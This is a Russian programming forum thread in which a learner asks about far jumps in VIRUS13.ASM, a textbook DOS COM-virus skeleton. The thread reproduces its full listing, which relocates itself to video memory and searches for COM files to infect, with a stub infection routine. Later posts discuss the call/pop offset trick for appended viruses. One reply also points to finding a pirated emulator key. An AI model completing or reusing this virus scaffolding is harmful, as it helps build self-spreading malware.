Форум программистов, компьютерный форум, киберфорум
Assembler, MASM, TASM
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.94/34: Рейтинг темы: голосов - 34, средняя оценка - 4.94
187 / 180 / 25
Регистрация: 27.01.2012
Сообщений: 1,335

Jmp на другой сегмент (программа из учебника)

12.01.2013, 21:05. Показов 6607. Ответов 9
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Не могу разобраться в одном моменте, а именно со строчкой : jmp dword ptr cs:[Off_move] (строчка 114)
Дело в том, до неё cs указывал на текущий сегмент. На сегмент видеокарты указывал лишь es, что нужно было для копирования. В данном случае я должен было переместиться в сегменте cs на offset Off_move, но, каким-то чудом, после этой строчки cs стал равен 0BF00h (сегмент видеокарты) с offset Off_move-смещением. Почему изменился cs?
p.s Программа dos'овская com'овская

Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
;              VIRUS13.ASM - программа к Главе № 13
 
; (С) Авторские права на файлы-приложения принадлежат автору книги
; "Ассемблер? Это просто! Учимся программировать"
; Автор: Калашников Олег Александрович
;    [url]http://www.Kalashnikoff.ru[/url]
; Онлайн-поддержка: [url]http://RFpro.ru[/url]
 
; --- Ассемблирование (получение *.com файла) ---
;При использовании MASM 6.11 - 6.13:
;ML.EXE virus13.asm /AT
 
;При использовании TASM:
;TASM.EXE virus13.asm
;TLINK.EXE virus13.obj /t/x
 
 
.286    ;Будем использовать инструкции 80286 процессора (пришло время!)
 
cseg SEGMENT
assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG
org 100h
 
Begin:
       jmp Init     ;Преходим на процедуру инициализации 
 
 
; --- Общие данные ---
Off_move dw offset Lab_jmp  ;Смещение и
Seg_move dw 0BF00h      ;сегмент адреса, куда будем прыгать
                ;0BF00h - адрес (сегмент) 7 страницы дисплея
                ;Младшее слово в начале, а старшее - в конце
 
Off_return dw offset Lab_return ;Смещение и
Seg_return dw ?                 ;сегмент адреса для возврата
 
 
;       === Процедуры работы с файлами ===
 
; --- Открытие файла для записи ---
; Вход:  DX - путь файлу ASCIIZ
; Выход: Handle, BX - номер файла
Open_file proc
     mov ax,3D02h   ;Открываем файл для чтения/записи
     int 21h
     mov Handle,ax  ;Сохраняем номер файла
     mov bx,ax
     ret
 
Handle dw 0FFFFh ;Переменная для хранения номера файла (по умолчанию 0FFFFh)
Open_file endp
 
; --- Закрытие файла ---
; Вход:  Handle - номер открытого файла
; Выход: ничего
Close_file proc
     cmp Handle,0FFFFh  ;Нет открытых файлов?
     je No_close    ;Тогда выходим (закрывать нечего!) 
 
     mov bx,Handle  ;Закрываем файл...
     mov ah,3Eh
     int 21h
 
No_close:
   ret
Close_file endp
 
; --- Поиск первого файла ---
Find_first proc
      mov ah,4Eh    ;Ищем первый файл по маске (Mask_file)
      xor cx,cx     ;Атрибуты обычные (CX=0)
      mov dx,offset Mask_file ;Адрес маски в DS:DX
      int 21h       ;Теперь (если нашли файл *.com в текущем каталоге)
            ;имя файла находится по адресу 0BF00:001Eh,
            ;т.е. по смещению 30...
   ret
Mask_file db '*.com',0  ;Маска для поиска (только COM-файлы)
Find_first endp
 
; --- Поиск следующих файлов ---
Find_next proc
      xor dx,dx     ;DS:DX указывают на DTA
      xor cx,cx
      mov ah,4Fh
      int 21h
   ret
Find_next endp
 
; --- Заражение файла ---
Infect_file proc
      clc       ;Пока просто сбросим флаг переноса.
            ;Типа, заразили файл успешно!
            ;Потом добавим все, что нужно...
   ret
Infect_file endp
 
 
; Процедура инициализации вируса
Init:
       mov es,Seg_move  ;ES - сегмент, куда будем перемещать код вируса,
       mov di,100h  ;DI - смещение
       mov cx,offset Finish-100h    ;CX - количество перемещаемых байт
                    ;CX = конец нашего вируса - 100h (PSP)
                    ;Т.е. CX = длина нашего вируса в байтах
       mov si,100h          ;DS:SI откуда перемещать будем
       rep movsb            ;перебрасываем нашу программу в область
                    ;7 видеостраницы
 
;   ___________________________________________________
 
;   !!! Теперь ВНИМАТЕЛЬНО следим за CS в отладчике !!!
;   ___________________________________________________
 
       jmp dword ptr cs:[Off_move] ;Прыгаем куда переместили (фактически на
                   ;следующую строку, только уже в сегменте
                   ;0BF00h!)
 
; Что показал отладчик? Подумайте, что произошло...
 
; Теперь мы уже в области экрана
Lab_jmp:
    ;Вот сюда-то мы и прыгнули с предыдущей строки! Толко CS теперь
    ;равен 0BF00h. Внимательно проследите в отладчике за этим...
 
       nop  ;Это Вам для отладчика (на всякий случай!)
       nop
 
       push cs  ;Настроим сегментные регистры
       pop ds
 
       mov Seg_return,ss    ;Запомним сегмент для возврата.
                ;SS-то остается прежним!
 
       mov ah,1Ah   ;Установим DTA для поиска файлов
       xor dx,dx    ;Он устанавливается на тот адрес, который содержится
       int 21h      ;в регистрах DS:DX. В отладчике посмотрите,
            ;что находится в памяти на которую указывают данные
            ;регистры, т.е. DS:DX...
            ;После выполнения следующей процедуры там будет
            ;находиться что-то ОЧЕНЬ интересное...
 
       call Find_first  ;Ищем первый файл
       jc Nomore_files  ;Нет COM-файлов - на выход 
 
Inf_file:
       call Infect_file ;Нашли - пробуем заразить
       jnc Nomore_files ;Удалось заразить - выходим 
 
       call Find_next   ;Не удалось заразить - ищем следующий
       jnc Inf_file ;Нашли еще один COM-файл; пробуем заразить... 
 
Nomore_files:
       jmp dword ptr cs:[Off_return]    ;Возвращаемся в сегмент программы...
        ;Интересно, а что отладчик говорит по поводу этого jmp'а?
        ;Возможно, сегментные регистры помогут?
 
 
;Теперь мы уже в сегменте зараженной программы...
;Только что произошло самое важное!
Lab_return:
       push cs      ;Восстановим сегментные регистры...
       push cs
       pop ds
       pop es
 
       mov ah,1Ah   ;Восстановим DTA
       mov dx,80h
       int 21h
 
       ret      ;Выходим в DOS...
 
Finish equ $        ;Метка конца программы-вируса
 
CSEG ends
end Begin
1
IT_Exp
Эксперт
34794 / 4073 / 2104
Регистрация: 17.06.2006
Сообщений: 32,602
Блог
12.01.2013, 21:05
Ответы с готовыми решениями:

Передача управление в другой сегмент
Не давно начал изучать асм и со временем набрел на пару не понятностей вроде бы и простых но смысл ни как не могу понять.Дело вот в чем...

Прыжок на метку в другой логический сегмент
Доброго времени суток. Посмотрите пожалуйста код. В строке 66 осуществляется прыжок на метку addrs ( begin2 ), вроде бы все написано...

Как перейти в другой сегмент памяти
У нас есть exe и com программа как в ней перейти в другой сегмент памяти. (Например в 3000H) Exe Page 60,80 TITLE MAXIMUM ...

9
3530 / 2270 / 279
Регистрация: 24.12.2010
Сообщений: 13,723
12.01.2013, 21:34
Цитата Сообщение от nexen Посмотреть сообщение
jmp dword ptr
Это far jump

ЦП трактует эту инструкцию так:

взять из ячейки памяти по адресу cs:Off_move слово, трактуя его как целевое смещение

взять из ячейки памяти по адресу cs:Off_move+2 слово, трактуя его как целевой сегмент

передать туда управление
1
 Аватар для bomz
64 / 64 / 0
Регистрация: 06.10.2011
Сообщений: 299
12.01.2013, 22:02
ну а какой смысл перепрыгивать на другой сегмент кода и не перевести сегмент кода - сам прыжок и заключается в переводе сегмента

Добавлено через 6 минут
jmp dword ptr cs:[Off_move]
кажется я врубился. эта команда означает не прыгнуть по адресу сегмент\офсет, а прыгнуть по адресу который хранится в памяти по адресу сегмент\офсет
1
187 / 180 / 25
Регистрация: 27.01.2012
Сообщений: 1,335
12.01.2013, 23:19  [ТС]
mss,
bomz, спасибо, конечно, но всё равно не понял Если я хоть что-то уяснил из сообщения mss, то префикс dword ptr в купе с Off_move трактуется, как перенести в cs то, что Off_move+2 (из-за dword ptr), а затем прыгнуть в новый cs:[Off_move]? Если я угадал, то мне совсем не понятна подобная логика dword ptr.. Одно дело её использовать при, допустим, move.. Другое дело в jmp D:
0
 Аватар для bomz
64 / 64 / 0
Регистрация: 06.10.2011
Сообщений: 299
12.01.2013, 23:34
Code
1
2
3
    jmp dword ptr cs:old_09
 
    old_09  dw  1, 2
совершить длинный прыжок на сегмент 2 смещение 1

Добавлено через 8 минут
http://ziplib.com/emu8086/
скачай эмулятор, ключик в инете найдешь. он очень наглядно показывает работу процессора. когда увидишь как все работает очень хорошо все в голове проясняется. тут полно простых примеров разбери их
1
 Аватар для bomz
64 / 64 / 0
Регистрация: 06.10.2011
Сообщений: 299
12.01.2013, 23:47
вот эммулятор работает
Миниатюры
Jmp на другой сегмент (программа из учебника)  
1
187 / 180 / 25
Регистрация: 27.01.2012
Сообщений: 1,335
13.01.2013, 16:24  [ТС]
А вот ещё вопрос всё по той же книге:
Assembler
1
2
3
4
5
6
7
 call Get_IP        ;Получим смещение, где мы сейчас находимся
Get_IP:
       pop ax           ;Теперь в AX - смещение
       sub ax,offset Get_IP ;Вычтем из него реальный адрес, где мы будем
                ;находиться в сегменте 0BF00h
                ;Получим размер файла-"жертвы", если его нет,
                ;то AX будет равен 0
Задача в том, чтобы заразить файл вирусом, дописав свой код в конец сегмента файла-"жертвы", но вот что я не могу понять, как это как мы получаем смещение в файле-"жертве"? Меток в финальном коде com-файла нет. Во время ассемблирования у нас вместо
Assembler
1
2
call Get_ip
Get_ip: pop ax
будет примерно
Assembler
1
2
call 102h
pop ax; 102h
При попытке скопировать нашу программу в файл-"жертву", в нём будет всё та же команда
Assembler
1
call 102h
, а значит она не позволит выяснить размер зараженного файла.. Но по какой-то магии, этот call 102h превращается в нормальный call с нормальным смещением.. Чего я не понял о метках? Неужели они есть в коде и так же копируются в файл-"жертву", и подставляются их смещения в рантайме? (я бы так и подумал, но автор раз 40 уточнил, что всякие offset и метки вычисляются разочек при ассемблировании..)
0
1127 / 261 / 9
Регистрация: 11.06.2010
Сообщений: 1,049
13.01.2013, 17:06
call'ы бывают разными, как и jump'ы. бывают они относительно текущего адреса и по фиксированному адресу.
если юзается прыжок внутри сегмента, то чаще всего используются относительные прыжки, так что всё ОК будет в программе-жертве.

Если на пальцах, то:

Assembler
1
2
3
org 100h
jmp $;данный код ассемблируется, как jmp -2, поэтому в проге-жертве подобное будет работать нормально
jmp cs:$;данный код ассемблируется, как jmp cs:102h, так что может произойти краш в проге-жертве
1
187 / 180 / 25
Регистрация: 27.01.2012
Сообщений: 1,335
13.01.2013, 17:11  [ТС]
sh2ezo, иначе говоря, если прыгаем в том же сегменте (без явного указания, что прыгаем в том же сегменте), то прыжок/вызов происходит относительный, в противном случае явный по сассемблированному адресу?
Почему подобное правило не применимо к offset префиксу?
0
1127 / 261 / 9
Регистрация: 11.06.2010
Сообщений: 1,049
13.01.2013, 19:10
Цитата Сообщение от nexen Посмотреть сообщение
sh2ezo, иначе говоря, если прыгаем в том же сегменте (без явного указания, что прыгаем в том же сегменте), то прыжок/вызов происходит относительный, в противном случае явный по сассемблированному адресу?
Почему подобное правило не применимо к offset префиксу?
Конструкция jmp offset <метка> заменяется при ассемблировании препроцессором на конструкцию jmp <число>, что говорит ассемблеру о том, что пункт назначения фиксирован. Как-то так.
1
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
BasicMan
Эксперт
29316 / 5623 / 2384
Регистрация: 17.02.2009
Сообщений: 30,364
Блог
13.01.2013, 19:10
Помогаю со студенческими работами здесь

Программа из учебника
Скопирую весь код программы из учебника, в комментариях задам 2 вопроса, кое-что не понятно. #include &lt;stdio.h&gt; /* подсчет...

программа из учебника
Проблема такая: Разбирал программу из учебника. Она должна принять 2 числа, а потом прибавить 1 к каждому из них и выдать ответ. ...

С программа с учебника
вот код из учебника C\C++ #include &lt;stdio.h&gt; #include &lt;conio.h&gt; #include &quot;dos.h&quot; void main() { int min,sec; ...

Программа из учебника не собирается
Доброго времени суток всем! Я прохожу один урок из учебника. В нём приведена данная программа: #include &lt;stdio.h&gt; #include...

Программа из учебника не работает
Только начала изучать java, первая простенькая программка по учебнику, и она не работает. Что не так? до рисовать графику с циклом ...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
10
Ответ Создать тему
Новые блоги и статьи
Музыка, написанная Искусственным Интеллектом
volvo 04.12.2025
Всем привет. Некоторое время назад меня заинтересовало, что уже умеет ИИ в плане написания музыки для песен, и, собственно, исполнения этих самых песен. Стихов у нас много, уже вышли 4 книги, еще 3. . .
От async/await к виртуальным потокам в Python
IndentationError 23.11.2025
Армин Ронахер поставил под сомнение async/ await. Создатель Flask заявляет: цветные функции - провал, виртуальные потоки - решение. Не threading-динозавры, а новое поколение лёгких потоков. Откат?. . .
Поиск "дружественных имён" СОМ портов
Argus19 22.11.2025
Поиск "дружественных имён" СОМ портов На странице: https:/ / norseev. ru/ 2018/ 01/ 04/ comportlist_windows/ нашёл схожую тему. Там приведён код на С++, который показывает только имена СОМ портов, типа,. . .
Сколько Государство потратило денег на меня, обеспечивая инсулином.
Programma_Boinc 20.11.2025
Сколько Государство потратило денег на меня, обеспечивая инсулином. Вот решила сделать интересный приблизительный подсчет, сколько государство потратило на меня денег на покупку инсулинов. . . .
Ломающие изменения в C#.NStar Alpha
Etyuhibosecyu 20.11.2025
Уже можно не только тестировать, но и пользоваться C#. NStar - писать оконные приложения, содержащие надписи, кнопки, текстовые поля и даже изображения, например, моя игра "Три в ряд" написана на этом. . .
Мысли в слух
kumehtar 18.11.2025
Кстати, совсем недавно имел разговор на тему медитаций с людьми. И обнаружил, что они вообще не понимают что такое медитация и зачем она нужна. Самые базовые вещи. Для них это - когда просто люди. . .
Создание Single Page Application на фреймах
krapotkin 16.11.2025
Статья исключительно для начинающих. Подходы оригинальностью не блещут. В век Веб все очень привыкли к дизайну Single-Page-Application . Быстренько разберем подход "на фреймах". Мы делаем одну. . .
Фото: Daniel Greenwood
kumehtar 13.11.2025
Расскажи мне о Мире, бродяга
kumehtar 12.11.2025
— Расскажи мне о Мире, бродяга, Ты же видел моря и метели. Как сменялись короны и стяги, Как эпохи стрелою летели. - Этот мир — это крылья и горы, Снег и пламя, любовь и тревоги, И бескрайние. . .
PowerShell Snippets
iNNOKENTIY21 11.11.2025
Модуль PowerShell 5. 1+ : Snippets. psm1 У меня модуль расположен в пользовательской папке модулей, по умолчанию: \Documents\WindowsPowerShell\Modules\Snippets\ А в самом низу файла-профиля. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2025, CyberForum.ru